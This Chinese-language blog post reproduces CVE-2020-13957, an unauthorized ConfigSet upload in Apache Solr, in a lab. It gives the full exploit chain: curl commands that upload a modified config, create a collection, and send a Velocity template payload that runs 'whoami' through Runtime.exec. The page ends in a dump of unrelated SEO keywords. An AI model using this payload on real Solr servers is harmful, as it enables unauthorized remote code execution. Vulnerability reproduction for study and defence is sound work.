千家信息网

Apche Solr 未授权上传漏洞CVE-2020-13957的复现

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,Apche Solr 未授权上传漏洞CVE-2020-13957的复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。0x
千家信息网最后更新 2025年12月01日Apche Solr 未授权上传漏洞CVE-2020-13957的复现

Apche Solr 未授权上传漏洞CVE-2020-13957的复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。

整个利用链流程:
上传configset--基于configset再次上传configset(跳过身份检测)--利用新configset创造collection--利用solrVelocity模板进行RCE

影响范围

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 环境搭建

solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)

靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132

C:\复现\solr-8.0.0\bin>solr.cmd start -c

0x02 漏洞复现

1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并将修改后的solr-8.0.0 放到kali中

2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip

zip -r - * > mytest.zip

3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根据CREATE得到的新configset创建恶意collection:

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

漏洞 地址 文件 目录 并将 命令 环境 帮助 攻击 清楚 代码 内容 再次 对此 恶意 攻击机 攻击者 文章 新手 更多 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 数据库技术中的数据是指什么 为什么战术小队搜索不到服务器 怀旧服黑龙服务器人口 学软件开发需要掌握的几个点 数据库概念模式产生 13个顶级域名服务器 合川网络安全产业城产业规划展示厅获奖 网络技术可以考专升本吗 开展 网络安全法 宣传 互联网公司是什么科技 服务器管理安全狗 2021年网络安全宣传周文章 厦门海中互联网科技有限公司 凤县租房软件开发 戴尔服务器修改bios引导 广东省计算机信息网络安全员 你怎么理解软件开发这个岗位 原神两个服务器的启动器冲突 软件开发 项目组人员 我县网络安全宣传采访 最先进的数据库加密技术 网络安全专业的警校 鼎桥软件开发5年工作经验待遇 履行新时代网络安全使命 互联网公司是什么科技 山东pdu服务器电源可以定制吗 网络安全短动画一分钟 真云服务器 网络技术和社会的关系 金仓数据库v7下载
0